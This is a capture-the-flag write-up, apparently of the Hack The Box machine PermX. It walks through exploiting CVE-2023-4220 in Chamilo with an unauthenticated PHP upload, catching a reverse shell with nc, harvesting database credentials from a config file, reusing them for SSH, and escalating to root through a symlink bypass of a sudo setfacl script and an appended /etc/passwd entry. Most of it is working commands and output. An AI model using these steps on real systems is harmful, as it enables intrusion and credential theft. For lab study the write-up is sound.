Recon
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The initial nmap scan shows that only port tcp/80
and tcp/22
are listening on the machine. The Apache webserver also want to redirect me to permx.htb
, which I add to my /etc/hosts
file. I than take a look around the website while enumerating possible subdomains with ffuf
in the background.
The page itself is relatively mundane, based on the footer, source code and what Wappalyzer tells me it seems to be a standard Bootstrap-based website. In the meanwhile ffuf
found a new subdomain lms.permx.htb
, which I also add to my hosts file.
$ ffuf -u "http://permx.htb" -H "Host: FUZZ.permx.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 30ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 38ms]
Foothold as www-data
CVE-2023-4220
To determine the version of Chamilo running I have a quick look at it repository on Github. And than try to access the README.md
on the webserver, which will contain the running version number.
$ curl -s http://lms.permx.htb/README.md | head
# Chamilo 1.11.x
...
With a rough version number acquired I start looking for possible exploits and find a RCE vulnerability from 2023. This process turned out to be rather tedious since the last digit of the version number was missing. After a bunch of trial and error related to false-positive CVEs I find a working CVE and exploit. In the accompanying blog article of CVE-2023-4220 Starlabs does a great job describing the vulnerability and provides a simple Proof-of-Concept. But in short I am able to upload a PHP file and access said file, which will cause the PHP to execute, all while being unauthenticated.
$ echo '<?php system("id"); ?>' > rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The provided PoC confirms that this version of Chamilo is vulnerable to CVE-2023-4220. I than use the same commands to upload PentestMonkey PHP-reverse shell instead. And start listening on the configured port for the callback of my reverse-shell.
$ curl -F 'bigUploadFile=@shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php'
And after executing the second curl
command I receive my reverse shell, which I stabilize using the standard python trick.
$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.14.76] from (UNKNOWN) [10.129.253.205] 34796
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
13:15:30 up 31 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Shell as mtz
Credential Access
Now that I have a shell on the web server as www-data
my next order of business is to gather credentials from any running databases and configuration files. As well as identifying potential other users on the machine, which might have reused one of the gathered passwords. Besides root
the only other user on the machine with an interactive logon shell is mtz
.
www-data@permx:/$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
After poking around the /var/www/chamilo
directory a bit I find the database connection configuration in the following file. The database credentials are chamilo:03F6lY3uXAP2bkW8
.
www-data@permx:/var/www/chamilo/app/config$ cat configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
/**
* This file contains a list of variables that can be modified by the campus site's server administrator.
* Pay attention when changing these variables, some changes may cause Chamilo to stop working.
* If you changed some settings and want to restore them, please have a look at
* configuration.dist.php. That file is an exact copy of the config file at install time.
* Besides the $_configuration, a $_settings array also exists, that
* contains variables that can be changed and will not break the platform.
* These optional settings are defined in the database, now
* (table settings_current).
*/
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
[SNIP]
Password Reuse
Before I try connecting to the database with the pillaged credentials I test them password reuse for the mtz
user. And indeed mtz
reused their password when setting up Chamilo and I can SSH into the machine with the password 03F6lY3uXAP2bkW8
.
Shell as root
One of the first checks I perform when landing on a Linux machine is checking whether I can run any commands with sudo
.
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
I am allowed to execute what looks like a custom script under /opt/acl.sh
. The script ultimately uses setfacl
to set a given ACL for a supplied user on a given file. It even tries to “secure” the target files this script can affect, by limiting the $target
to be within /home/mtz/*
and that it cannot contain upwards directory traversal.
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
However the author of this script forgot to take into account that it is not necessary to perform a directory traversal since a user can create a symlink in /home/mtz
to any file outside of it and bypass the restrictions.
For this I create a symlink in the home directory pointing to /
and then call the script on /etc/passwd
. Initially I tried to get the root flag directly and a potentially existing private SSH key, but the former failed and the latter did not exist.
So instead I went to route of editing the /etc/passwd
file to create my own root-equivalent user on the machine.
mtz@permx:~$ ln -s / j1ndosh
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/j1ndosh/etc/passwd
First I create the password hash of my chosen password jindosh
for my new user using openssl passwd
.
$ openssl passwd jindosh
$1$XKVOCAfK$5qUKENGoiyspQ7DCRYF0.1
I than craft a new /etc/passwd
entry and append it to the target file. While setting all of this up the clean-up scripted reverted the permissions and deleted my symlink so do the previous steps again.
mtz@permx:~$ echo 'jindosh:$1$XKVOCAfK$5qUKENGoiyspQ7DCRYF0.1:0:0:root:/root:/bin/bash' >> /etc/passwd
With the new user created I can use su
to elevate my privileges to root. While there is a backup copy of /etc/shadow
under /root/backup/shadow
using this method the root hash is not altered.
mtz@permx:~$ su jindosh
Password:
root@permx:/home/mtz#